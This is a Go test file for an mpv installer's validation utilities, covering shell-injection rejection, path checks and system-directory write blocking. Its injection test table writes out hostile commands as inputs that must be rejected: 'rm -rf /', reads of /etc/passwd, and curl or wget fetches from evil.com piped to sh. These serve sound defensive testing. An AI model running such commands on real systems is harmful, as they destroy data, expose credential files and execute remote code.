// Package installer provides installation utilities for MPV.Rocks.
// This file contains comprehensive security and validation tests for validation utilities.
package installer

import (
	"fmt"
	"os"
	"path/filepath"
	"runtime"
	"strings"
	"testing"
)

// TestValidateShellCommand_InjectionAttempts tests shell command injection detection.
// These tests verify that ValidateShellCommand catches various injection patterns.
func TestValidateShellCommand_InjectionAttempts(t *testing.T) {
	injectionAttempts := []struct {
		name        string
		cmd         string
		expectError bool
		description string
	}{
		// Command chaining
		{"semicolon_chaining", "ls; rm -rf /", true, "semicolon command chaining"},
		{"double_ampersand", "ls && cat /etc/passwd", true, "AND operator chaining"},
		{"single_ampersand", "ls & rm -rf /", true, "background execution with &"},
		{"pipe_chain", "ls | cat /etc/passwd", true, "pipe operator chaining"},
		{"double_pipe", "ls || rm -rf /", true, "OR operator chaining"},

		// Command substitution
		{"dollar_paren", "echo $(cat /etc/passwd)", true, "command substitution with $()"},
		{"nested_dollar_paren", "echo $(ls $(whoami))", true, "nested command substitution"},
		{"backticks", "echo `cat /etc/passwd`", true, "backticks command substitution"},
		{"nested_backticks", "echo `ls `whoami``", true, "nested backticks"},

		// Redirects
		{"output_redirect", "ls > /etc/passwd", true, "output redirect"},
		{"append_redirect", "ls >> /etc/passwd", true, "append redirect"},
		{"input_redirect", "rm -rf / < input.txt", true, "input redirect"},

		// Special characters individually
		{"newline", "ls\nrm -rf /", true, "newline character"},
		{"carriage_return", "ls\rcat /etc/passwd", true, "carriage return"},
		{"tab", "ls\tcat /etc/passwd", true, "tab character"},
		{"parentheses", "ls (cat /etc/passwd)", true, "parentheses"},
		{"dollar_sign", "echo $HOME", true, "dollar sign variable expansion"},

		// Combinations and complex attacks
		{"complex_chain", "ls; cd /; rm -rf /*", true, "complex destructive chain"},
		{"multiple_backticks", "`ls` `cat /etc/passwd`", true, "multiple backticks"},
		{"mixed_chaining", "ls && cat /etc/passwd | grep root", true, "mixed chaining operators"},
		{"newlines_in_command", "ls\ncd /etc\ncat passwd", true, "multiple newlines"},

		// Realistic attack vectors
		{"wget_injection", "mpv-install && wget http://evil.com/malware.sh", true, "wget after command"},
		{"curl_injection", "config-update && curl -s http://evil.com/sh | sh", true, "pipe to sh"},
		{"chmod_injection", "install && chmod 777 /etc/passwd", true, "permission escalation"},
		{"cp_injection", "backup && cp /etc/passwd /tmp/passwd.bak", true, "file copy attack"},
	}

	for _, tt := range injectionAttempts {
		t.Run(tt.name, func(t *testing.T) {
			err := ValidateShellCommand(tt.cmd)
			if tt.expectError {
				if err == nil {
					t.Errorf("ValidateShellCommand(%q) expected error but got none", tt.cmd)
				}
			} else {
				if err != nil {
					t.Errorf("ValidateShellCommand(%q) unexpected error: %v", tt.cmd, err)
				}
			}
		})
	}
}

// TestValidateShellCommand_SafeCommands tests valid shell commands that should pass.
func TestValidateShellCommand_SafeCommands(t *testing.T) {
	safeCommands := []struct {
		name        string
		cmd         string
		description string
	}{
		{"simple_ls", "ls", "simple ls command"},
		{"simple_pwd", "pwd", "simple pwd command"},
		{"echo_hello", "echo hello", "echo with text"},
		{"echo_quoted_single", "echo 'hello world'", "echo with single quotes"},
		{"echo_quoted_double", "echo \"hello world\"", "echo with double quotes"},
		{"echo_with_dash", "echo -n hello", "echo with flag"},
		{"command_with_spaces", "mpv --config=/path/to/config", "command with path"},
		{"simple_alias", "alias mpv-install=/path/to/binary", "simple alias definition"},
		{"multiple_words", "mpv player installed successfully", "text with spaces"},
		{"version_string", "version 1.2.3 release", "version string"},
		{"path_with_spaces", "/home/user name/config.conf", "path with spaces in directory"},
		{"with_hyphens", "install-mpv-config-v2", "command with hyphens"},
		{"with_underscores", "install_mpv_config", "command with underscores"},
		{"config_path", "/home/user/.config/mpv/mpv.conf", "config file path"},
		{"portable_config", "~/mpv/portable_config/mpv.conf", "portable config path"},
		{"url_encoded", "ls%3b%20rm%20-rf%20/", "URL-encoded semicolon (not a shell metacharacter)"},
	}

	for _, tt := range safeCommands {
		t.Run(tt.name, func(t *testing.T) {
			err := ValidateShellCommand(tt.cmd)
			if err != nil {
				t.Errorf("ValidateShellCommand(%q) unexpected error: %v (description: %s)", tt.cmd, err, tt.description)
			}
		})
	}
}

// TestValidatePath_SafePaths tests that valid paths are accepted.
func TestValidatePath_SafePaths(t *testing.T) {
	safePaths := []struct {
		name        string
		path        string
		description string
	}{
		// Relative paths
		{"relative_simple", "./config.conf", "simple relative path"},
		{"relative_parent", "../config.conf", "parent directory path"},
		{"relative_nested", "./config/mpv/mpv.conf", "nested relative path"},

		// Absolute paths (Unix)
		{"absolute_simple", "/home/user/config.conf", "simple absolute path"},
		{"absolute_nested", "/home/user/.config/mpv/mpv.conf", "nested absolute path"},
		{"absolute_with_spaces", "/home/user name/config.conf", "path with spaces"},
		{"absolute_long_subdirs", "/home/user/.config/mpv/portable/config/input.conf", "long path"},

		// Windows paths
		{"windows_simple", "C:\\Users\\user\\config.conf", "Windows simple path"},
		{"windows_program_files", "C:\\Program Files\\App\\config.conf", "Windows Program Files path"},
		{"windows_with_spaces", "C:\\Users\\user name\\config.conf", "Windows path with spaces"},

		// Safe special characters
		{"with_underscores", "config_v2.conf", "path with underscores"},
		{"with_hyphens", "backup-2024.conf", "path with hyphens"},
		{"with_periods", "config.backup.old.conf", "multiple periods"},
		{"with_numbers", "config123.conf", "path with numbers"},

		// Config-specific paths
		{"home_config", "~/.config/mpv/mpv.conf", "home config path"},
		{"portable_config", "~/mpv/portable_config/mpv.conf", "portable config path"},

		// Edge cases
		{"single_char_filename", "a", "single character filename"},
		{"filename_only", "mpv.conf", "filename only"},
		{"dotfile", ".mpv.conf", "dotfile"},
		{"double_dotfile", "..mpv.conf", "double dot prefix"},
	}

	for _, tt := range safePaths {
		t.Run(tt.name, func(t *testing.T) {
			err := ValidatePath(tt.path)
			if err != nil {
				t.Errorf("ValidatePath(%q) unexpected error: %v (description: %s)", tt.path, err, tt.description)
			}
		})
	}
}

// TestValidatePath_InvalidPaths tests that invalid paths are rejected.
func TestValidatePath_InvalidPaths(t *testing.T) {
	invalidPaths := []struct {
		name        string
		path        string
		description string
	}{
		{"empty_string", "", "empty path string"},
		{"null_byte_middle", "config\x00.conf", "null byte in middle"},
		{"null_byte_start", "\x00config.conf", "null byte at start"},
		{"null_byte_end", "config.conf\x00", "null byte at end"},
		{"very_long_path", strings.Repeat("a", maxPathLength+1), "path exceeding max length"},
		{"extremely_long_path", strings.Repeat("/very/long/path/", 1000), "extremely long path"},
	}

	for _, tt := range invalidPaths {
		t.Run(tt.name, func(t *testing.T) {
			err := ValidatePath(tt.path)
			if err == nil {
				t.Errorf("ValidatePath(%q) expected error but got none (description: %s)", tt.path, tt.description)
			}
		})
	}
}

// TestValidatePathForWrite_SystemDirectories_Windows tests Windows system directory blocking.
func TestValidatePathForWrite_SystemDirectories_Windows(t *testing.T) {
	if runtime.GOOS != "windows" {
		t.Skip("Skipping Windows-specific tests on non-Windows platform")
	}

	systemPaths := []struct {
		name        string
		path        string
		description string
	}{
		{"windows_dir", "C:\\Windows", "Windows directory"},
		{"windows_system32", "C:\\Windows\\System32", "System32 directory"},
		{"windows_nested", "C:\\Windows\\System32\\drivers", "nested Windows directory"},
		{"program_files", "C:\\Program Files", "Program Files directory"},
		{"program_files_x86", "C:\\Program Files (x86)", "Program Files (x86) directory"},
		{"program_files_nested", "C:\\Program Files\\App\\config", "nested Program Files"},
		{"root_c", "C:\\", "C drive root"},
		{"root_d", "D:\\", "D drive root"},
		{"root_with_slash", "C:/", "C drive root with forward slash"},
		{"windows_lowercase", "c:\\windows", "lowercase drive letter"},
	}

	for _, tt := range systemPaths {
		t.Run(tt.name, func(t *testing.T) {
			err := ValidatePathForWrite(tt.path)
			if err == nil {
				t.Errorf("ValidatePathForWrite(%q) expected error but got none (description: %s)", tt.path, tt.description)
			}
		})
	}
}

// TestValidatePathForWrite_SystemDirectories_Unix tests Unix/Linux/macOS system directory blocking.
func TestValidatePathForWrite_SystemDirectories_Unix(t *testing.T) {
	if runtime.GOOS == "windows" {
		t.Skip("Skipping Unix-specific tests on Windows platform")
	}

	systemPaths := []struct {
		name        string
		path        string
		description string
	}{
		{"root", "/", "root directory"},
		{"bin", "/bin", "/bin directory"},
		{"sbin", "/sbin", "/sbin directory"},
		{"usr_bin", "/usr/bin", "/usr/bin directory"},
		{"usr_sbin", "/usr/sbin", "/usr/sbin directory"},
		{"usr_local_bin", "/usr/local/bin", "/usr/local/bin directory"},
		{"etc", "/etc", "/etc system configuration"},
		{"dev", "/dev", "/dev device files"},
		{"proc", "/proc", "/proc pseudo-filesystem"},
		{"sys", "/sys", "/sys pseudo-filesystem"},
		{"boot", "/boot", "/boot directory"},
		{"lib", "/lib", "/lib directory"},
		{"lib64", "/lib64", "/lib64 directory"},
		{"etc_nested", "/etc/mpv/mpv.conf", "nested /etc path"},
		{"usr_bin_nested", "/usr/bin/mpv", "nested /usr/bin path"},
	}

	for _, tt := range systemPaths {
		t.Run(tt.name, func(t *testing.T) {
			err := ValidatePathForWrite(tt.path)
			if err == nil {
				t.Errorf("ValidatePathForWrite(%q) expected error but got none (description: %s)", tt.path, tt.description)
			}
		})
	}
}

// TestValidatePathForWrite_UserDirectories tests that user directories are allowed.
func TestValidatePathForWrite_UserDirectories(t *testing.T) {
	userPaths := []struct {
		name        string
		path        string
		description string
	}{
		{"home_config", "/home/user/config.conf", "user home config"},
		{"home_dot_config", "/home/user/.config/mpv/mpv.conf", "dot config path"},
		{"tmp_file", "/tmp/temp.conf", "temporary file"},
		{"home_nested", "/home/user/subdir/config.conf", "nested home directory"},
		{"var_user", "/var/user/config.conf", "var user path"},
		{"opt_user", "/opt/user/config.conf", "opt user path"},
	}

	if runtime.GOOS == "windows" {
		// Add Windows-specific user paths
		userPaths = append(userPaths,
			struct{ name, path, description string }{"windows_users", "C:\\Users\\user\\config.conf", "Windows Users directory"},
			struct{ name, path, description string }{"windows_documents", "C:\\Users\\user\\Documents\\config.conf", "Windows Documents"},
			struct{ name, path, description string }{"windows_appdata", "C:\\Users\\user\\AppData\\Roaming\\mpv\\mpv.conf", "AppData Roaming"},
		)
	}

	for _, tt := range userPaths {
		t.Run(tt.name, func(t *testing.T) {
			err := ValidatePathForWrite(tt.path)
			if err != nil {
				t.Errorf("ValidatePathForWrite(%q) unexpected error: %v (description: %s)", tt.path, err, tt.description)
			}
		})
	}
}

// TestContainsSpecialChars tests the ContainsSpecialChars helper function.
func TestContainsSpecialChars(t *testing.T) {
	tests := []struct {
		name        string
		input       string
		chars       string
		expected    bool
		description string
	}{
		// False cases (no special chars)
		{"simple_text", "hello", ";|&", false, "simple text without special chars"},
		{"simple_text_null", "hello", "\x00", false, "simple text without null byte"},
		{"empty_input", "", ";|&", false, "empty input string"},
		{"empty_chars", "hello", "", false, "empty chars string"},
		{"both_empty", "", "", false, "both strings empty"},
		{"safe_path", "/path/to/file.conf", "\x00", false, "safe path without null byte"},

		// True cases (with special chars)
		{"semicolon", "hello;world", ";|&", true, "contains semicolon"},
		{"pipe", "hello|world", ";|&", true, "contains pipe"},
		{"ampersand", "hello&world", ";|&", true, "contains ampersand"},
		{"multiple_special", "hello;world&test", ";|&", true, "multiple special chars"},
		{"null_byte", "config\x00.conf", "\x00", true, "contains null byte"},
		{"newline", "hello\nworld", "\n\r\t", true, "contains newline"},
		{"carriage_return", "hello\rworld", "\n\r\t", true, "contains carriage return"},
		{"tab", "hello\tworld", "\n\r\t", true, "contains tab"},
		{"backtick", "hello`world", "`$", true, "contains backtick"},
		{"dollar", "hello$world", "`$", true, "contains dollar sign"},
		{"single_special", ";", ";|&", true, "single special char"},
		{"special_at_start", ";hello", ";|&", true, "special char at start"},
		{"special_at_end", "hello;", ";|&", true, "special char at end"},
	}

	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			result := ContainsSpecialChars(tt.input, tt.chars)
			if result != tt.expected {
				t.Errorf("ContainsSpecialChars(%q, %q) = %v, expected %v (description: %s)",
					tt.input, tt.chars, result, tt.expected, tt.description)
			}
		})
	}
}

// TestIsSafePathForConfig tests the IsSafePathForConfig convenience function.
func TestIsSafePathForConfig(t *testing.T) {
	t.Run("valid_config_path", func(t *testing.T) {
		// Create a temporary directory for testing
		tmpDir := t.TempDir()
		configPath := filepath.Join(tmpDir, "mpv.conf")

		err := IsSafePathForConfig(configPath)
		if err != nil {
			t.Errorf("IsSafePathForConfig(%q) unexpected error: %v", configPath, err)
		}

		// Verify parent directory was created
		parentDir := filepath.Dir(configPath)
		if _, err := os.Stat(parentDir); os.IsNotExist(err) {
			t.Errorf("Parent directory %q was not created", parentDir)
		}
	})

	t.Run("nested_config_path", func(t *testing.T) {
		// Create a temporary directory and test nested path creation
		tmpDir := t.TempDir()
		configPath := filepath.Join(tmpDir, "subdir", "nested", "mpv.conf")

		err := IsSafePathForConfig(configPath)
		if err != nil {
			t.Errorf("IsSafePathForConfig(%q) unexpected error: %v", configPath, err)
		}

		// Verify all parent directories were created
		for _, path := range []string{
			filepath.Join(tmpDir, "subdir"),
			filepath.Join(tmpDir, "subdir", "nested"),
		} {
			if _, err := os.Stat(path); os.IsNotExist(err) {
				t.Errorf("Parent directory %q was not created", path)
			}
		}
	})

	t.Run("invalid_path_system_dir", func(t *testing.T) {
		if runtime.GOOS == "windows" {
			// Test Windows system directory
			err := IsSafePathForConfig("C:\\Windows\\mpv.conf")
			if err == nil {
				t.Error("IsSafePathForConfig(C:\\Windows\\mpv.conf) expected error but got none")
			}
		} else {
			// Test Unix system directory
			err := IsSafePathForConfig("/etc/mpv.conf")
			if err == nil {
				t.Error("IsSafePathForConfig(/etc/mpv.conf) expected error but got none")
			}
		}
	})

	t.Run("invalid_path_null_byte", func(t *testing.T) {
		err := IsSafePathForConfig("config\x00.conf")
		if err == nil {
			t.Error("IsSafePathForConfig(config\\x00.conf) expected error but got none")
		}
	})

	t.Run("existing_parent_directory", func(t *testing.T) {
		// Test with existing parent directory
		tmpDir := t.TempDir()
		parentDir := filepath.Join(tmpDir, "existing")
		configPath := filepath.Join(parentDir, "mpv.conf")

		// Create parent directory first
		err := os.MkdirAll(parentDir, 0755)
		if err != nil {
			t.Fatalf("Failed to create parent directory: %v", err)
		}

		// Should not error even though directory exists
		err = IsSafePathForConfig(configPath)
		if err != nil {
			t.Errorf("IsSafePathForConfig(%q) unexpected error: %v", configPath, err)
		}
	})

	t.Run("create_nested_directories", func(t *testing.T) {
		// Test that nested directories are created
		tmpDir := t.TempDir()
		configPath := filepath.Join(tmpDir, "level1", "level2", "level3", "mpv.conf")

		err := IsSafePathForConfig(configPath)
		if err != nil {
			t.Errorf("IsSafePathForConfig(%q) unexpected error: %v", configPath, err)
		}

		// Verify all levels were created
		for i := 1; i <= 3; i++ {
			path := filepath.Join(tmpDir, "level1")
			for j := 2; j <= i; j++ {
				path = filepath.Join(path, fmt.Sprintf("level%d", j))
			}
			if _, err := os.Stat(path); os.IsNotExist(err) {
				t.Errorf("Directory level %d was not created: %q", i, path)
			}
		}
	})
}

// TestValidatePath_LengthBoundary tests path length boundary conditions.
func TestValidatePath_LengthBoundary(t *testing.T) {
	t.Run("exactly_max_length", func(t *testing.T) {
		path := strings.Repeat("a", maxPathLength)
		err := ValidatePath(path)
		if err != nil {
			t.Errorf("ValidatePath(path at max length %d) unexpected error: %v", maxPathLength, err)
		}
	})

	t.Run("one_over_max_length", func(t *testing.T) {
		path := strings.Repeat("a", maxPathLength+1)
		err := ValidatePath(path)
		if err == nil {
			t.Error("ValidatePath(path over max length) expected error but got none")
		}
	})

	t.Run("one_under_max_length", func(t *testing.T) {
		path := strings.Repeat("a", maxPathLength-1)
		err := ValidatePath(path)
		if err != nil {
			t.Errorf("ValidatePath(path one under max length) unexpected error: %v", err)
		}
	})
}

// TestValidatePath_Normalization tests path normalization behavior.
func TestValidatePath_Normalization(t *testing.T) {
	tests := []struct {
		name        string
		path        string
		expectError bool
		description string
	}{
		{"double_slashes", "//path//to//file", false, "double slashes"},
		{"trailing_slash", "/path/to/dir/", false, "trailing slash"},
		{"current_dir", "./file", false, "current directory reference"},
		{"parent_dir", "../file", false, "parent directory reference (permissive)"},
		{"complex_traversal", "../../file", false, "complex traversal (permissive)"},
		{"mixed_slashes", "/path\\to\\file", false, "mixed slashes (platform-specific)"},
	}

	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			err := ValidatePath(tt.path)
			if tt.expectError && err == nil {
				t.Errorf("ValidatePath(%q) expected error but got none (description: %s)", tt.path, tt.description)
			} else if !tt.expectError && err != nil {
				t.Errorf("ValidatePath(%q) unexpected error: %v (description: %s)", tt.path, err, tt.description)
			}
		})
	}
}

// TestValidateShellCommand_EdgeCases tests edge cases for shell command validation.
func TestValidateShellCommand_EdgeCases(t *testing.T) {
	tests := []struct {
		name        string
		cmd         string
		expectError bool
		description string
	}{
		{"empty_string", "", false, "empty string"},
		{"single_char", "a", false, "single character"},
		{"whitespace_only", "   ", false, "whitespace only"},
		{"only_quotes", "\"\"", false, "only double quotes"},
		{"only_single_quotes", "''", false, "only single quotes"},
		{"escaped_quotes", "\\\"", false, "escaped quotes"},
		{"path_with_slash", "/path/to/file", false, "path with slashes"},
		{"windows_path", "C:\\path\\to\\file", false, "Windows path"},
		{"version_with_dots", "1.2.3", false, "version string with dots"},
		{"url_without_special", "http://example.com/file", false, "URL without shell chars"},
		{"multiple_spaces", "   multiple   spaces   ", false, "multiple spaces"},
		{"newlines_only", "\n", true, "only newline"},
		{"tabs_only", "\t", true, "only tab"},
	}

	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			err := ValidateShellCommand(tt.cmd)
			if tt.expectError && err == nil {
				t.Errorf("ValidateShellCommand(%q) expected error but got none (description: %s)", tt.cmd, tt.description)
			} else if !tt.expectError && err != nil {
				t.Errorf("ValidateShellCommand(%q) unexpected error: %v (description: %s)", tt.cmd, err, tt.description)
			}
		})
	}
}

// TestValidatePathForWrite_PlatformSpecific tests platform-specific path validation.
func TestValidatePathForWrite_PlatformSpecific(t *testing.T) {
	t.Run("windows_on_unix_should_work", func(t *testing.T) {
		if runtime.GOOS == "windows" {
			t.Skip("Running on Windows, skipping Unix path test")
		}
		// On Unix, Windows paths are just treated as regular strings
		// They should pass basic validation (not system dirs on Unix)
		err := ValidatePathForWrite("C:\\Windows\\not-system.conf")
		if err != nil {
			t.Errorf("Unix system accepting Windows path as non-system: unexpected error: %v", err)
		}
	})

	t.Run("absolute_path_resolution", func(t *testing.T) {
		tmpDir := t.TempDir()
		configPath := filepath.Join(tmpDir, "test.conf")
		err := ValidatePathForWrite(configPath)
		if err != nil {
			t.Errorf("ValidatePathForWrite(%q) unexpected error: %v", configPath, err)
		}
	})
}
